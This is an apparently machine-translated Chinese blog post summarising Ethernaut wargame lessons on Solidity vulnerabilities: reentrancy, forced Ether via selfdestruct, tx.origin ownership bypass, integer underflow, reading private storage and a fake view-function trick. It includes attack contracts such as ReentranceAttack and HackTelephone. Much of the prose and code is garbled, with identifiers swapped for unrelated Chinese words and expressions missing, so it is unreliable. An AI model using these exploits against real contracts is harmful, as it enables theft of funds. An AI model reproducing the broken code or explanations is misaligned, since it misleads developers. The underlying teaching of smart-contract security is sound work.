ETF智能和约的保险孔累次呈现,有些人普通和约,譬如 token 合约,通常与 OpenZeppelin 为根底,来颁布发表参加竞选。OpenZeppelin 还发达了附近智能和约练习。:The Ethernaut,这是一体 wargame,眼前有 19 道题,每个成绩都是一体孔百出的和约。,hack 当时的笔者可以经过习惯。。顶垂线可取之处遵守,忧虑和开展保险的智能和约,更加你不晓得怎样做,你可以商议这时辅导的。:Ethernaut 编撰 Part 1。本篇文字是对标题中关涉的有些人知识点的总结。

Fallback 有或起作用

ETF的智能和约,可以叫牌隐姓埋名有或起作用(未命名) 有或起作用,叫做 Fallback 有或起作用,这时有或起作用用不着参量。,缺勤言归正传值。。当音讯被发送到和约时,更加缺勤找到婚配有或起作用,它将被召集。 fallback 有或起作用。比如,让和约,但和约受理。 Ether,这么 fallback 有或起作用得叫牌为 payable,要不然,尝试让给本和约。 ETH 将不及格。列举如下:

function() payable public { // payable 保留字,象征此有或起作用被召集。,可向合约转 Ether。
}

送交和约 send、transfer、call 同时召集该音讯。 fallback 有或起作用,不同之处取决于 send 和 transfer 有 2300 gas 的限度局限,那执意传唤 fallback 的而是 2300 gas,这时 gas 最适当的用于存入,由于别的运算将超越 2300 gas。但 call 剩的要拿走了。 gas 都给 fallback 有或起作用,这可能性招致以环连结召集。。

call 可招致重入袭击,把钱让给和约,会说某种语言的 fallback 有或起作用,列举如下:

contract Reentrance {

  测图(地址) => 尤因) public balances;

    // 再装填
  function 典赠(地址) 到) public payable {
    盈利〔至〕 += 
  }

  // 反省盈利
  function 地址(地址) 世卫有组织的) public view returns (英) 抵消) {
    return 盈利[谁]
  }

  // 提现
  function withdraw(英) 归纳) public {
    更加(盈利) >= 归纳) {
      if(.(归纳)()) {
        _amount;
      }
      balances[] -= _amount;
    }
  }

  function() public payable {}
}
   
contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address 目的) public payable {
    entrance = Reentrance(目的);
  }

  function deposit() public payable{
      ();
  }

  function attack() public{
    (0.5 醚)
    (0.5 醚)
  }

  function() public payable{
    (0.5 醚)
  }

  function withdraw() public {
      .transfer();
  }
}

图中叙述了袭击审核。:

image

袭击者高音的召集 ReentranceAttack 的 deposit() 有或起作用发送 ETH 给 Reentrance 合约。当时的再说某种语言的 attack() 取现,向 Reentrance 现钞剽窃销路,召集 withdraw(),当零碎被家具时 withdraw(),意愿盟约 ReentranceAttack 转账,这将引起。 ReentranceAttack 的 fallback 有或起作用。再次召集此有或起作用。 withdraw(),这招致递推召集(如上文所示)。,白色矢构成一体回响。,直到 gas 费用尽了。,或 Reentrance 和约的盈利以内让的归纳。,停止不及格。

招致ETF丫的和约孔 DAO 事情,这执意它被袭击的方法。。笔者得在在这里balances[] -= _amount; 转载前写好。。应用 send()transfer() 开展燃气财富,但这可能性招致和约说话中肯吊销召集。 功用可能性因毒缺乏。

智能合约最适度遵守,提议应用 push 和 pull, 在 push 比应用send()transfer(),在pull 比应用()()。

旁白,缺勤使掉转船头 payable fallback 在以下两种影响下,和约的商定是可受理的 Ether: 1. 应用和约地址作为发掘地址 2. 召集别的和约的自毁功用 selfdestruct,并以和约的地址为参量。

A contract without a payable fallback function can receive Ether as a recipient of a coinbase transaction (阿卡 miner block 判归) or as a destination of a 自毁。

上面的应得可以使掉转船头为未使掉转船头的应得 payable fallback 有或起作用的和约发送 ETH:

contract Force {/*
*/}

contract SelfDestruct {
    address public dest_address;
    
    function SelfDestruct(地址) dest_addr) payable{ // 应支出的证明有或起作用,当时的你可以在布置时期让和约。。
            dest_address = dest_addr
    } 
    
    function attack(){
        selfdestruct(dest_address); // 在这里要约定为销毁时将基金发使进入的地址。
    }
}

Force 和约未实行。 payable 有或起作用,而是更加你经过再 SelfDestruct 合约,发觉时, Force 和约地址出口,同时发送有些人 ETH 给 SelfDestruction,当时的再说某种语言的。 SelfDestruct 的 attack 有或起作用,抬出去 selfdestruct,则 SelfDestruct 其他自己的事物 ETH 将被发送到 Force。

和 分别,请看上面的应得:

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = ;
  }

  function changeOwner(address 握住者) public {
    if ( != ) {
      owner = _owner;
    }
  }
}

此处成呼叫,需求另一份和约, 更改和约地址, 家具和约的人。

contract HackTelephone {

  address public contractAddr = 0x9e...; // Telephone 和约地址

  Telephone telephone = Telephone(contractAddr);

  function changeowner() public  {
    ();
  }
}

这使成召集变得可能性。 Telephone 的 changeOwner。 solidity 档案说话中肯提议

Never use for 答应证。

圆整数资源过剩

function 转变(地址) _to, uint 财富) public returns (乔治英国数学家和逻辑学家) {
    必要条件(权衡) - _value >= 0);
    balances[] -= _value;
    盈利〔至〕 += _value;
    return true;
  }

传入溢流 _value,当时的转变的美国昆腾公司资源过剩。。而且,圆整数的减法、乘法和除法。,提议应用 OpenZeppelin 使掉转船头的 SafeMath 合约。

和约材料贮存器结构

以太插的自己的事物材料都是发布鉴定书的。,更加叫牌为公有变量的材料,请看上面的应得:

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 应得) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 应得) public {
    if (应得) == 应得) {
      locked = false;
    }
  }
}

确实,召集 (contractAddr) 可以推进和约的自己的事物部件变量。,个人的或协同的。经过以下 js 应得行过 password 值:

var contractAddr = "0x9c...."; // Vault 和约地址
(contractAddr, 1, 有或起作用(x), y) {
     ((y))
});

再看一体探察。:

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function 隐蔽处(ByTES32 [ 3 ] ] 材料) public {
    data = _data;
  }
  
  function unlock(bytes16 装有蝶铰) public {
    必要条件(秘密密钥) == BYTES16(材料〔2〕〕
    locked = false;
  }
}

ETF的自己的事物部件变量推进该和约,constant 变量立即编译成应得。,缺少的在这里。。总宗教团体 5 个变量,经过反省:

let contractAddress = ''0x23..''; // 和约地址
for (搜集) = 0; index < 6; index++){
 storage = (contractAddress, index)
 (`[${index}]` + storage)

出口:

[0]0x0000000000000000000000000000000000000000000000000000007be0ff0a00
[1]0x01041553ed361174f92060a8390cbefad285f66969f14e9847bf233be4f252ec
[2]0xbcc6a03856edf34bf363b4ba202925265d535cbeadbc0d71ed3b3cef79b2116c
[3]0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000

高音的出口辨析,0x7be0ff0a00,对应和约变量:施魔法于的真值,10十六二元系 0x0a,255十六二元系 0xff,0x7be0ff0a00 经受住六最适当的这些财富的拼接。,而 0x7be0 得执意 awkwardness 的值,和约合不满足的 32 八位字节的变量。这样的事物,[1][2][3] 执意 data 这时八位字节衣服,因而笔者可以判别 材料〔2〕 0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54。终于,不要在与个人和约比得上的影响下立即作出答应鉴定。,一切都是可见的。!

view 和 pure

更加要叫牌只读有或起作用,不修正合约材料,通常,有或起作用被颁布发表为 view 和 pure,它们的构成释义:

View Functions
Functions can be declared view in which case they promise not to modify the 财产。

Pure Functions
Functions can be declared pure in which case they promise not to read from or modify the 财产。

有或起作用可以叫牌为风景而不时装领域财产。但这是松懈的。,涌流 Solidity 编纂者不限制家具风景有或起作用(风景)。 有或起作用或常数有或起作用(constant 有或起作用不克不及修正财产。而且缺勤限制纯有或起作用。 有或起作用不读取财产交流。因而颁布发表一体 view 和 pure 有或起作用,不克不及典当材料财产不能的被修正。。请看上面的应得:

interface Building {
  function isLastFloor(尤因) view public returns (乔治英国数学家和逻辑学家);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(英) 地板) public {
    Building building = Building();

    if (! (地板)) {
      floor = _floor;
      top = (地板)
    }
  }
}

isLastFloor 被颁布发表为 view,而是笔者可以写一体可以被运转的财产。 isLastFloor 有或起作用,言归正传 true,相应地修正 Elevator 的 top 和 floor 变量,列举如下:

contract HackBuilding {   
    bool isLast = true;
    function isLastFloor(尤因)  public returns (乔治英国数学家和逻辑学家) {
        isLast = !isLast;
        return isLast;
    }
    
    function 黑客袭击(地址) 目的) public {
        Elevator elevator = Elevator(目的);
        (10);
    }
}

总结:

  1. fallback 有或起作用:要向和约地址转账,要使掉转船头 payable fallback 有或起作用。更加缺勤使掉转船头 payable fallback 有或起作用,和约可受理两种影响 ETH:炸石工发掘 ETH 支出,另一体和约称为自毁功用。 selfdestruct 约定和约的受托人。
  2. 重入袭击,转变运算应用 send() 或许 transfer() 放量转移应用 call ,呼叫限度局限 gas 值。
  3. 以太任务坊说话中肯若干材料都是吐艳的,更加是在智能和约中发布鉴定书的变量。
  4. 不要用 权威试验。
  5. 反省圆整数资源过剩,应用 MathSafe 库。
  6. 不以为叫牌为 view 或 pure 有或起作用始终只读的。。

发表评论

电子邮件地址不会被公开。 必填项已用*标注